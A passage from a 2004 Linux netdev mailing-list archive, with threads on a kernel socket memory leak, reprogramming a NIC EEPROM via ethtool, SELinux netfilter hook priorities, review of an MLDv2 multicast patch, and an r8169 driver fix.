iD8DBQE/+wjGXaXGVTD0i/8RAjFRAJ9Mub15xR+99zCM+eZgCi04/P3XCACeLCmI B9EEK83mrXSiQN6i549VcP4= =vGvz -----END PGP SIGNATURE----- --U3s59FfKcByyGl+j-- From erik@hensema.net Tue Jan 6 11:36:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 11:36:48 -0800 (PST) Received: from scrat.hensema.net (scrat.hensema.net [62.212.82.150]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i06JaWTa020184 for ; Tue, 6 Jan 2004 11:36:33 -0800 Received: from dexter.hensema.net (cc78409-a.hnglo1.ov.home.nl [212.120.97.185]) by scrat.hensema.net (8.12.7/8.12.7/SuSE Linux 0.6) with ESMTP id i06JaGng021881; Tue, 6 Jan 2004 20:36:16 +0100 Received: from bender.home.hensema.net (root@bender.ipv6.hensema.net [IPv6:2001:888:10a1:0:202:44ff:fe69:60f5]) by dexter.hensema.net (8.12.7/8.12.7) with ESMTP id i06JaGB5016752; Tue, 6 Jan 2004 20:36:16 +0100 Received: from bender.home.hensema.net (erik@localhost [127.0.0.1]) by bender.home.hensema.net (8.12.7/8.12.7) with ESMTP id i06JaG72004558; Tue, 6 Jan 2004 20:36:16 +0100 Received: (from erik@localhost) by bender.home.hensema.net (8.12.7/8.12.7/Submit) id i06JaFWv004557; Tue, 6 Jan 2004 20:36:15 +0100 Date: Tue, 6 Jan 2004 20:36:15 +0100 From: Erik Hensema To: "David S. Miller" Cc: torvalds@osdl.org, netdev@oss.sgi.com, acme@conectiva.com.br Subject: Re: 2.6.0: something is leaking memory Message-ID: <20040106193615.GA4544@bender.home.hensema.net> Reply-To: erik@hensema.net References: <20040104204834.40b6ca51.davem@redhat.com> <20040106155933.GA3373@bender.home.hensema.net> <20040106095909.7243b2ce.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040106095909.7243b2ce.davem@redhat.com> User-Agent: Mutt/1.4i X-archive-position: 2246 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: erik@hensema.net Precedence: bulk X-list: netdev On Tue, Jan 06, 2004 at 09:59:09AM -0800, David S. Miller wrote: > On Tue, 6 Jan 2004 16:59:34 +0100 > Erik Hensema wrote: > > > David: are you sure it was fixed in rc1? > > > > It doesn't seem to be in -rc2 either. > > > > This is after 26 hours uptime: > > > > tcp6_sock 6246 6248 1024 4 1 : tunables 54 27 0 > > : slabdata 1562 1562 0 > > Someone mentioned about a bug in the userland program you're > using that is openning these sockets? Something about leaving sockets > not closed. That's correct. I suspect that this exposes the leak in the kernel more promimently than on other systems. The leak is in nscd, it doesn't properly close sockets to my LDAP server. This is not a kernel problem I think, because it also leaks in 2.4.x. The kernelspace leak however is not in 2.4, only in 2.6. I'm restarting nscd in cron every night, which makes the CLOSE_WAIT sockets go away. However the kernel resources are not freed it seems. -- Erik Hensema (erik@hensema.net) From scott.feldman@intel.com Tue Jan 6 11:43:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 11:44:09 -0800 (PST) Received: from petasus.ch.intel.com (petasus.ch.intel.com [143.182.124.5]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i06JhsTa020748 for ; Tue, 6 Jan 2004 11:43:55 -0800 Received: from azsmsxvs040.ch.intel.com (azsmsxvs040.ch.intel.com [10.2.248.11]) by petasus.ch.intel.com (8.12.9-20030918-01/8.12.9/d: small-solo.mc,v 1.6 2003/12/18 18:58:11 root Exp $) with SMTP id i06JgfhD022754; Tue, 6 Jan 2004 19:43:43 GMT Received: from azsmsx331-2.ch.intel.com ([10.2.161.41]) by azsmsxvs040.ch.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010612434326281 ; Tue, 06 Jan 2004 12:43:43 -0700 Received: from rrsmsx401.amr.corp.intel.com ([10.14.9.74]) by azsmsx331-2.ch.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 6 Jan 2004 12:43:43 -0700 Received: from orsmsx312.amr.corp.intel.com ([192.168.65.62]) by rrsmsx401.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 6 Jan 2004 12:43:41 -0700 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx312.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 6 Jan 2004 11:43:39 -0800 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 Subject: RE: Problem with Compaq NC3131 dual eth card Date: Tue, 6 Jan 2004 11:43:39 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Problem with Compaq NC3131 dual eth card Thread-Index: AcPUaFn0UwQhJlULT5e6luJhURXDwAAIPwwg From: "Feldman, Scott" To: "Chris Adams" , X-OriginalArrivalTime: 06 Jan 2004 19:43:39.0668 (UTC) FILETIME=[62081540:01C3D48D] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i06JhsTa020748 X-archive-position: 2247 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev > eth1: OEM i82557/i82558 10/100 Ethernet, FF:FF:FF:FF:FF:FF, IRQ 11. [snip] > eth2: Invalid EEPROM checksum 0xffc0, check settings before > activating this device! You're EEPROM image is invalid - looks like it's all 0xFFs - verify with ethtool -e ethX. The first three words of the EEPROM should be the MAC address. e100 errors out because it wants a valid MAC address. > Is my card defective or is this a compatibility problem? Is > there a way to fix this? Get another nic or reprogram the EEPROM in this one. Ok, so you want to reprogram the eeprom? This isn't going to be pretty: 1) get a good image from a like-NC3131-nic using ethtool -e eth; 2) modify e100 to skip the check for valid MAC address and valid checksum so the driver will load; 3) run ethtool -E eth magic 4660 offset value , where x is your interface, y is the byte offset, and z is byte value to write. You can do this by hand, or write a script to parse the output from ethtool -e; 4) revert e100 back to original Told you it wasn't pretty. Maybe someone could write a little script to # ethtool -e eth0 | up_eeprom eth1 Enter unique MAC address: 00:A0:45:78:90:02 -scott From jmorris@redhat.com Tue Jan 6 12:38:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 12:38:50 -0800 (PST) Received: from thoron.boston.redhat.com (nat-pool-bos.redhat.com [66.187.230.200]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i06KcZTa024982 for ; Tue, 6 Jan 2004 12:38:35 -0800 Received: from thoron.boston.redhat.com (localhost.localdomain [127.0.0.1]) by thoron.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i06K5AiF008507; Tue, 6 Jan 2004 15:05:10 -0500 Received: from localhost (jmorris@localhost) by thoron.boston.redhat.com (8.12.8/8.12.8/Submit) with ESMTP id i06K5A4M008503; Tue, 6 Jan 2004 15:05:10 -0500 X-Authentication-Warning: thoron.boston.redhat.com: jmorris owned process doing -bs Date: Tue, 6 Jan 2004 15:05:10 -0500 (EST) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: Harald Welte cc: netdev@oss.sgi.com, , "David S. Miller" , Stephen Smalley Subject: Re: [RFC] IPv4 Netfilter hook priorities for SELinux In-Reply-To: <20040106191311.GH934@obroa-skai.de.gnumonks.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2248 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev On Tue, 6 Jan 2004, Harald Welte wrote: > On Tue, Jan 06, 2004 at 11:01:03AM -0500, James Morris wrote: > > > Does anyone have any objections to the patch below (which I'd propose for > > 2.6.2), or other comments? > > Thanks James, I am perfectly fine with your patch. Feel free to put > them into netfilter_arp.h and netfilter_ipv6.h, too. Ok, here is the patch with support for IPv4 and IPv6. I've not added anything for ARP yet as SELinux does not have any ARP controls at this stage (and probably won't in the near future). Please apply. - James -- James Morris diff -urN -X dontdiff linux-2.6.1-rc1-mm2.pending/include/linux/netfilter_ipv4.h linux-2.6.1-rc1-mm2.w1/include/linux/netfilter_ipv4.h --- linux-2.6.1-rc1-mm2.pending/include/linux/netfilter_ipv4.h 2003-09-27 20:50:51.000000000 -0400 +++ linux-2.6.1-rc1-mm2.w1/include/linux/netfilter_ipv4.h 2004-01-06 10:14:59.000000000 -0500 @@ -51,6 +51,7 @@ enum nf_ip_hook_priorities { NF_IP_PRI_FIRST = INT_MIN, + NF_IP_PRI_SELINUX_FIRST = -225, NF_IP_PRI_CONNTRACK = -200, NF_IP_PRI_BRIDGE_SABOTAGE_FORWARD = -175, NF_IP_PRI_MANGLE = -150, @@ -58,6 +59,7 @@ NF_IP_PRI_BRIDGE_SABOTAGE_LOCAL_OUT = -50, NF_IP_PRI_FILTER = 0, NF_IP_PRI_NAT_SRC = 100, + NF_IP_PRI_SELINUX_LAST = 225, NF_IP_PRI_LAST = INT_MAX, }; diff -urN -X dontdiff linux-2.6.1-rc1-mm2.pending/include/linux/netfilter_ipv6.h linux-2.6.1-rc1-mm2.w1/include/linux/netfilter_ipv6.h --- linux-2.6.1-rc1-mm2.pending/include/linux/netfilter_ipv6.h 2003-09-27 20:50:51.000000000 -0400 +++ linux-2.6.1-rc1-mm2.w1/include/linux/netfilter_ipv6.h 2004-01-06 14:41:30.000000000 -0500 @@ -56,11 +56,13 @@ enum nf_ip6_hook_priorities { NF_IP6_PRI_FIRST = INT_MIN, + NF_IP6_PRI_SELINUX_FIRST = -225, NF_IP6_PRI_CONNTRACK = -200, NF_IP6_PRI_MANGLE = -150, NF_IP6_PRI_NAT_DST = -100, NF_IP6_PRI_FILTER = 0, NF_IP6_PRI_NAT_SRC = 100, + NF_IP6_PRI_SELINUX_LAST = 225, NF_IP6_PRI_LAST = INT_MAX, }; From dlstevens@us.ibm.com Tue Jan 6 13:45:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 13:45:19 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i06LirTa027190 for ; Tue, 6 Jan 2004 13:45:00 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i06Lij6t356310; Tue, 6 Jan 2004 16:44:45 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i06Lih9J154224; Tue, 6 Jan 2004 14:44:44 -0700 Importance: Normal Sensitivity: Subject: Re: MLD problems (again) To: Takashi Hibi Cc: netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: David Stevens Date: Tue, 6 Jan 2004 13:44:40 -0800 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/06/2004 14:44:44 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE480DFE791EC8f9e8a93df938690918c07BBE480DFE791EC" Content-Disposition: inline X-archive-position: 2249 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE480DFE791EC8f9e8a93df938690918c07BBE480DFE791EC Content-type: text/plain; charset=US-ASCII Takashi, I am looking at this-- I just haven't been in the office for the last two weeks. I haven't looked at it in detail, but I believe there are problems with your patch. Offhand: 1) you added a check "if (skb) skb = addgrec(skb...)" "skb == NULL" is a perfectly valid argument for addgrec(), and there aren't any circumstances I know of where you'd want to only add the record when no others had been added yet (which appears to be what this code is doing). So, this looks completely wrong to me. Either you want the record or not and it doesn't depend on whether you have other records in the report or not. 2) your patch adds a set of crcount within ip_mc_add1_src(), which if necessary would mean the other code is completely broken (which it isn't). I think this is likely either redundant or it may break other assumptions about crcount handling. There are potential races I avoided in this code, so I'm wary of why you put that in there, but I'm pretty sure it's at best unnecessary. 3) it is not correct to always automatically join a group if it's listed in a setsockopt(). I think the result of your patch to fix your problem would also automatically join groups in cases where it should return an error. General comment-- the code is set up with the assumption that an ordinary join has a filter of "EXCLUDE, empty-set". That's because the protocol makes that assumption, and reports for includes of new groups are CHANGE_TO_INCLUDE. It looks like you're trying to bypass that and set the filter directly to INCLUDE, which I expect would result in incorrect reports for some cases. Again, I have only looked at the patch context in your mail, so some of the things I think are problems probably aren't. I suspect, though, that the original cause of your problem is simply a missing "mld_ifc_event" call, though I'm not sure. Those are also carefully constructed to try to avoid multiple reports for complex transitions, when only one report will do, so some care is needed. I will look at this further and try to have an alternative patch by the end of the week. +-DLS Takashi Hibi @oss.sgi.com on 01/06/2004 04:15:42 AM Sent by: netdev-bounce@oss.sgi.com To: netdev@oss.sgi.com cc: Subject: MLD problems (again) A Happy new year. Let me discuss about the problems of MLD again. As I pointed out, there are two problems in current MLD code. 1. In MLDv1 compatibility mode, Older Version Querier Present timer expires prematurely. 2. After join SSM using setsockopt(MCAST_JOIN_SOURCE_GROUP), MLDv2 listener report isn't issued immediately. The cause of 1 is the wrong computation of timeout value. The cause of 2 is difficult to find. After tracing the code, I figured out that the mode of ifmcaddr6 isn't correctly set after setsockopt. After join by setsockopt, pmc->mca_sfmode should be MCAST_INCLUDE, but it remains MCAST_EXCLUDE. Eventually is_in() call returns false, and MLDv2 packet isn't composed. I don't know the right way to fix it, since the code is too complicated by a lot of flags. At least the following patch(diff from 2.6.0) works for me. Regards, Takashi Hibi --- mcast.c 2003-12-18 11:59:28.000000000 +0900 +++ new/mcast.c 2004-01-06 16:30:05.546174486 +0900 @@ -1050,7 +1050,7 @@ int igmp6_event_query(struct sk_buff *sk /* Translate milliseconds to jiffies */ max_delay = (ntohs(hdr->icmp6_maxdelay)*HZ)/1000; - switchback = (idev->mc_qrv + 1) * max_delay; + switchback = MLD_QRV_DEFAULT * 125*HZ + max_delay; idev->mc_v1_seen = jiffies + switchback; /* cancel the interface change timer */ @@ -1541,7 +1541,8 @@ static void mld_send_cr(struct inet6_dev type = MLD2_CHANGE_TO_EXCLUDE; else type = MLD2_CHANGE_TO_INCLUDE; - skb = add_grec(skb, pmc, type, 0, 0); + if (!skb) + skb = add_grec(skb, pmc, type, 0, 0); } spin_unlock_bh(&pmc->mca_lock); } @@ -1745,6 +1746,7 @@ static int ip6_mc_add1_src(struct ifmcad return -ENOBUFS; memset(psf, 0, sizeof(*psf)); psf->sf_addr = *psfsrc; + psf->sf_crcount = pmc->idev->mc_qrv; if (psf_prev) { psf_prev->sf_next = psf; } else @@ -1799,6 +1801,7 @@ int ip6_mc_add_src(struct inet6_dev *ide struct ifmcaddr6 *pmc; int isexclude; int i, err; + int first_join_src_grp; if (!idev) return -ENODEV; @@ -1816,6 +1819,8 @@ int ip6_mc_add_src(struct inet6_dev *ide sf_markstate(pmc); isexclude = pmc->mca_sfmode == MCAST_EXCLUDE; + first_join_src_grp = (!pmc->sources && sfmode == MCAST_INCLUDE && + sfcount == 1 && delta); if (!delta) pmc->mca_sfcount[sfmode]++; err = 0; @@ -1827,10 +1832,19 @@ int ip6_mc_add_src(struct inet6_dev *ide if (err) { int j; - pmc->mca_sfcount[sfmode]--; + if (!delta) + pmc->mca_sfcount[sfmode]--; for (j=0; jmca_sfcount[MCAST_EXCLUDE] != 0)) { + goto done; + } + if (first_join_src_grp) { + pmc->mca_sfmode = MCAST_INCLUDE; + if (sf_setstate(pmc)) + mld_ifc_event(idev); + goto done; + } + if (isexclude != (pmc->mca_sfcount[MCAST_EXCLUDE] != 0)) { struct inet6_dev *idev = pmc->idev; struct ip6_sf_list *psf; @@ -1848,6 +1862,7 @@ int ip6_mc_add_src(struct inet6_dev *ide mld_ifc_event(idev); } else if (sf_setstate(pmc)) mld_ifc_event(idev); +done: spin_unlock_bh(&pmc->mca_lock); read_unlock_bh(&idev->lock); return err; --0__=07BBE480DFE791EC8f9e8a93df938690918c07BBE480DFE791EC Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Takashi,
I am looking at this-- I just haven't been in the office for the last
two weeks. I haven't looked at it in detail, but I believe there are problems
with your patch.

Offhand:
1) you added a check "if (skb) skb = addgrec(skb...)"
"skb == NULL" is a perfectly valid argument for addgrec(), and
there aren't any circumstances I know of where you'd want to only add
the record when no others had been added yet (which appears to be
what this code is doing). So, this looks completely wrong to me. Either
you want the record or not and it doesn't depend on whether you have
other records in the report or not.

2) your patch adds a set of crcount within ip_mc_add1_src(), which if
necessary would mean the other code is completely broken (which it
isn't). I think this is likely either redundant or it may break other assumptions
about crcount handling. There are potential races I avoided in this code,
so I'm wary of why you put that in there, but I'm pretty sure it's at best
unnecessary.

3) it is not correct to always automatically join a group if it's listed in a
setsockopt(). I think the result of your patch to fix your problem would
also automatically join groups in cases where it should return an error.

General comment-- the code is set up with the assumption that an
ordinary join has a filter of "EXCLUDE, empty-set". That's because
the protocol makes that assumption, and reports for includes of new
groups are CHANGE_TO_INCLUDE. It looks like you're trying to
bypass that and set the filter directly to INCLUDE, which I expect would
result in incorrect reports for some cases.

Again, I have only looked at the patch context in your mail, so some of
the things I think are problems probably aren't. I suspect, though, that the
original cause of your problem is simply a missing "mld_ifc_event" call,
though I'm not sure. Those are also carefully constructed to try to avoid
multiple reports for complex transitions, when only one report will do, so
some care is needed. I will look at this further and try to have an alternative
patch by the end of the week.

+-DLS

Sent by: netdev-bounce@oss.sgi.com

To: netdev@oss.sgi.com
cc:
Subject: MLD problems (again)



A Happy new year.

Let me discuss about the problems of MLD again.
As I pointed out, there are two problems in current MLD code.

1. In MLDv1 compatibility mode, Older Version Querier Present timer expires
prematurely.
2. After join SSM using setsockopt(MCAST_JOIN_SOURCE_GROUP),
MLDv2 listener report isn't issued immediately.

The cause of 1 is the wrong computation of timeout value.
The cause of 2 is difficult to find. After tracing the code,
I figured out that the mode of ifmcaddr6 isn't correctly set after
setsockopt.

After join by setsockopt, pmc->mca_sfmode should be MCAST_INCLUDE,
but it remains MCAST_EXCLUDE. Eventually is_in() call returns false,
and MLDv2 packet isn't composed.
I don't know the right way to fix it, since the code is too complicated
by a lot of flags.
At least the following patch(diff from 2.6.0) works for me.

Regards,
Takashi Hibi

--- mcast.c 2003-12-18 11:59:28.000000000 +0900
+++ new/mcast.c 2004-01-06 16:30:05.546174486 +0900
@@ -1050,7 +1050,7 @@ int igmp6_event_query(struct sk_buff *sk

    /* Translate milliseconds to jiffies */
    max_delay = (ntohs(hdr->icmp6_maxdelay)*HZ)/1000;
- switchback = (idev->mc_qrv + 1) * max_delay;
+ switchback = MLD_QRV_DEFAULT * 125*HZ + max_delay;
    idev->mc_v1_seen = jiffies + switchback;
/* cancel the interface change timer */
@@ -1541,7 +1541,8 @@ static void mld_send_cr(struct inet6_dev
    type = MLD2_CHANGE_TO_EXCLUDE;
    else
type = MLD2_CHANGE_TO_INCLUDE;
- skb = add_grec(skb, pmc, type, 0, 0);
+ if (!skb)
+ skb = add_grec(skb, pmc, type, 0, 0);
    }
    spin_unlock_bh(&pmc->mca_lock);
}
@@ -1745,6 +1746,7 @@ static int ip6_mc_add1_src(struct ifmcad
    return -ENOBUFS;
    memset(psf, 0, sizeof(*psf));
    psf->sf_addr = *psfsrc;
+ psf->sf_crcount = pmc->idev->mc_qrv;
if (psf_prev) {
    psf_prev->sf_next = psf;
    } else
@@ -1799,6 +1801,7 @@ int ip6_mc_add_src(struct inet6_dev *ide
struct ifmcaddr6 *pmc;
int isexclude;
int i, err;
+ int     first_join_src_grp;
    if (!idev)
    return -ENODEV;
@@ -1816,6 +1819,8 @@ int ip6_mc_add_src(struct inet6_dev *ide
    sf_markstate(pmc);
    isexclude = pmc->mca_sfmode == MCAST_EXCLUDE;
+ first_join_src_grp = (!pmc->sources && sfmode == MCAST_INCLUDE &&
+ sfcount == 1 && delta);
    if (!delta)
    pmc->mca_sfcount[sfmode]++;
err = 0;
@@ -1827,10 +1832,19 @@ int ip6_mc_add_src(struct inet6_dev *ide
    if (err) {
    int j;
- pmc->mca_sfcount[sfmode]--;
+ if (!delta)
+ pmc->mca_sfcount[sfmode]--;
    for (j=0; j<i; j++)
    (void) ip6_mc_del1_src(pmc, sfmode, &psfsrc[i]);
- } else if (isexclude != (pmc->mca_sfcount[MCAST_EXCLUDE] != 0)) {
+ goto done;
+ }
+ if (first_join_src_grp) {
+ pmc->mca_sfmode = MCAST_INCLUDE;
+ if (sf_setstate(pmc))
+ mld_ifc_event(idev);
+ goto done;
+ }
+ if (isexclude != (pmc->mca_sfcount[MCAST_EXCLUDE] != 0)) {
    struct inet6_dev *idev = pmc->idev;
    struct ip6_sf_list *psf;
@@ -1848,6 +1862,7 @@ int ip6_mc_add_src(struct inet6_dev *ide
mld_ifc_event(idev);
    } else if (sf_setstate(pmc))
    mld_ifc_event(idev);
+done:
spin_unlock_bh(&pmc->mca_lock);
read_unlock_bh(&idev->lock);
return err;



--0__=07BBE480DFE791EC8f9e8a93df938690918c07BBE480DFE791EC-- From romieu@fr.zoreil.com Tue Jan 6 15:28:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 15:28:51 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i06NSaTa032053 for ; Tue, 6 Jan 2004 15:28:37 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i06NRlsW007905; Wed, 7 Jan 2004 00:27:47 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i06NRkwp007904; Wed, 7 Jan 2004 00:27:46 +0100 Date: Wed, 7 Jan 2004 00:27:46 +0100 From: Francois Romieu To: akpm@osdl.org Cc: Jeff Garzik , netdev@oss.sgi.com, Brad House Subject: [patch] 2.6.1-rc1-mm1 - erroneous __devinitdata in the r8169 driver Message-ID: <20040107002746.A7314@electric-eye.fr.zoreil.com> References: <20031122183001.GA16993@gtf.org> <20031124000939.A456@electric-eye.fr.zoreil.com> <20031126004550.A25408@electric-eye.fr.zoreil.com> <20031127235143.A16767@electric-eye.fr.zoreil.com> <20031130014738.A2589@electric-eye.fr.zoreil.com> <3FF846C3.5070207@mainstreetsoftworks.com> <20040104233849.A3214@electric-eye.fr.zoreil.com> <20040105231741.A19514@electric-eye.fr.zoreil.com> <3FFA6981.7030006@pobox.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="3V7upXqbjpZ4EhLz" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <3FFA6981.7030006@pobox.com>; from jgarzik@pobox.com on Tue, Jan 06, 2004 at 02:53:37AM -0500 X-Organisation: Land of Sunshine Inc. X-archive-position: 2250 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev --3V7upXqbjpZ4EhLz Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, more silly bug in the r8169 driver. Brad, I would really welcome you reporting that you can send/receive a few packets (more than 64 ?) before the driver panics horribly in rtl8169_rx_interrupt. I will not be reachable from tomorrow until late friday. -- Ueimor --3V7upXqbjpZ4EhLz Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="r8169-buggy-devinitdata.patch" Do not mark __devinitdata a data which is required when network device opens. drivers/net/r8169.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) diff -puN drivers/net/r8169.c~r8169-buggy-devinitdata drivers/net/r8169.c --- linux-2.6.1-rc1-mm1/drivers/net/r8169.c~r8169-buggy-devinitdata 2004-01-07 00:01:50.000000000 +0100 +++ linux-2.6.1-rc1-mm1-romieu/drivers/net/r8169.c 2004-01-07 00:03:47.000000000 +0100 @@ -129,7 +129,7 @@ const static struct { const char *name; u8 mac_version; u32 RxConfigMask; /* Clears the bits supported by this chip */ -} rtl_chip_info[] __devinitdata = { +} rtl_chip_info[] = { _R("RTL8169", RTL_GIGA_MAC_VER_B, 0xff7e1880), _R("RTL8169s/8110s", RTL_GIGA_MAC_VER_D, 0xff7e1880), _R("RTL8169s/8110s", RTL_GIGA_MAC_VER_E, 0xff7e1880) _ --3V7upXqbjpZ4EhLz-- From hibi665@oki.com Tue Jan 6 17:52:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 06 Jan 2004 17:52:32 -0800 (PST) Received: from iscan1.intra.oki.co.jp (okigate.oki.co.jp [202.226.91.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i071qATa005492 for ; Tue, 6 Jan 2004 17:52:11 -0800 Received: from aoi.okilab.oki.co.jp (localhost.localdomain [127.0.0.1]) by iscan1.intra.oki.co.jp (8.9.3/8.9.3) with SMTP id KAA19104 for ; Wed, 7 Jan 2004 10:52:05 +0900 Received: (qmail 16216 invoked from network); 7 Jan 2004 10:52:04 +0900 Received: from dhcp23233.okilab.oki.co.jp (HELO kiso) (172.24.23.233) by aoi.okilab.oki.co.jp with SMTP; 7 Jan 2004 10:52:04 +0900 Message-Id: <20040107105347.52d6dc1d%hibi665@oki.com> MIME-Version: 1.0 Date: Wed, 07 Jan 2004 10:53:47 +0900 X-Mailer: Denshin 8 Go V32.1.4.3 X-My-Real-Login-Name: thibi; aoi From: Takashi Hibi To: David Stevens Cc: netdev@oss.sgi.com In-Reply-To: (Your message of "Tue, 6 Jan 2004 13:44:40 -0800") References: Subject: Re: MLD problems (again) X-archive-position: 2251 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hibi665@oki.com Precedence: bulk X-list: netdev Stevens, > > Takashi, > I am looking at this-- I just haven't been in the office for the last > two weeks. I haven't looked at it in detail, but I believe there are > problems > with your patch. > > Offhand: > 1) you added a check "if (skb) skb = addgrec(skb...)" > "skb == NULL" is a perfectly valid argument for addgrec(), and > there aren't any circumstances I know of where you'd want to only add > the record when no others had been added yet (which appears to be > what this code is doing). So, this looks completely wrong to me. Either > you want the record or not and it doesn't depend on whether you have > other records in the report or not. > OK, I missed that there may be other records. > 2) your patch adds a set of crcount within ip_mc_add1_src(), which if > necessary would mean the other code is completely broken (which it > isn't). I think this is likely either redundant or it may break other > assumptions > about crcount handling. There are potential races I avoided in this code, > so I'm wary of why you put that in there, but I'm pretty sure it's at best > unnecessary. > It may be unnecessary, I think. > 3) it is not correct to always automatically join a group if it's listed in > a > setsockopt(). I think the result of your patch to fix your problem would > also automatically join groups in cases where it should return an error. > I don't know what kind of error can be occurred. I think that error check is done in other parts. > General comment-- the code is set up with the assumption that an > ordinary join has a filter of "EXCLUDE, empty-set". That's because > the protocol makes that assumption, and reports for includes of new > groups are CHANGE_TO_INCLUDE. It looks like you're trying to > bypass that and set the filter directly to INCLUDE, which I expect would > result in incorrect reports for some cases. In some cases, both CHANGE_TO_INCLUDE and ALLOW_NEW_SOURCES can be included. It is redundant. (That is why I added the code mentioned in 1) ) When to join SSM (without previous join), is it OK to use CHANGE_TO_INCLUDE? ALLOW_NEW_SOURCES seems ordinary (and Implementation of FreeBSD is so). I couldn't judge which should be used (or both OK) from MLDv2 draft. > Again, I have only looked at the patch context in your mail, so some of > the things I think are problems probably aren't. I suspect, though, that > the > original cause of your problem is simply a missing "mld_ifc_event" call, > though I'm not sure. Those are also carefully constructed to try to avoid > multiple reports for complex transitions, when only one report will do, so > some care is needed. I will look at this further and try to have an > alternative > patch by the end of the week. No, mld_ifc_event() is called when the problem occurrs. But because of the wrong mca_sfmode value, mld_send_cr() doen't send MLD listner report. In the following code in mld_send_cr(), all add_grec() returns NULL. Regards, Takashi Hibi /* change recs */ for (pmc=idev->mc_list; pmc; pmc=pmc->next) { spin_lock_bh(&pmc->mca_lock); if (pmc->mca_sfcount[MCAST_EXCLUDE]) { type = MLD2_BLOCK_OLD_SOURCES; dtype = MLD2_ALLOW_NEW_SOURCES; } else { type = MLD2_ALLOW_NEW_SOURCES; dtype = MLD2_BLOCK_OLD_SOURCES; } skb = add_grec(skb, pmc, type, 0, 0); skb = add_grec(skb, pmc, dtype, 0, 1); /* deleted sources */ /* filter mode changes */ if (pmc->mca_crcount) { pmc->mca_crcount--; if (pmc->mca_sfmode == MCAST_EXCLUDE) type = MLD2_CHANGE_TO_EXCLUDE; else type = MLD2_CHANGE_TO_INCLUDE; skb = add_grec(skb, pmc, type, 0, 0); } spin_unlock_bh(&pmc->mca_lock); } > > +-DLS > > > Takashi Hibi @oss.sgi.com on 01/06/2004 04:15:42 AM > > Sent by: netdev-bounce@oss.sgi.com > > > To: netdev@oss.sgi.com > cc: > Subject: MLD problems (again) > > > > A Happy new year. > > Let me discuss about the problems of MLD again. > As I pointed out, there are two problems in current MLD code. > > 1. In MLDv1 compatibility mode, Older Version Querier Present timer expires > prematurely. > 2. After join SSM using setsockopt(MCAST_JOIN_SOURCE_GROUP), > MLDv2 listener report isn't issued immediately. > > The cause of 1 is the wrong computation of timeout value. > The cause of 2 is difficult to find. After tracing the code, > I figured out that the mode of ifmcaddr6 isn't correctly set after > setsockopt. > > After join by setsockopt, pmc->mca_sfmode should be MCAST_INCLUDE, > but it remains 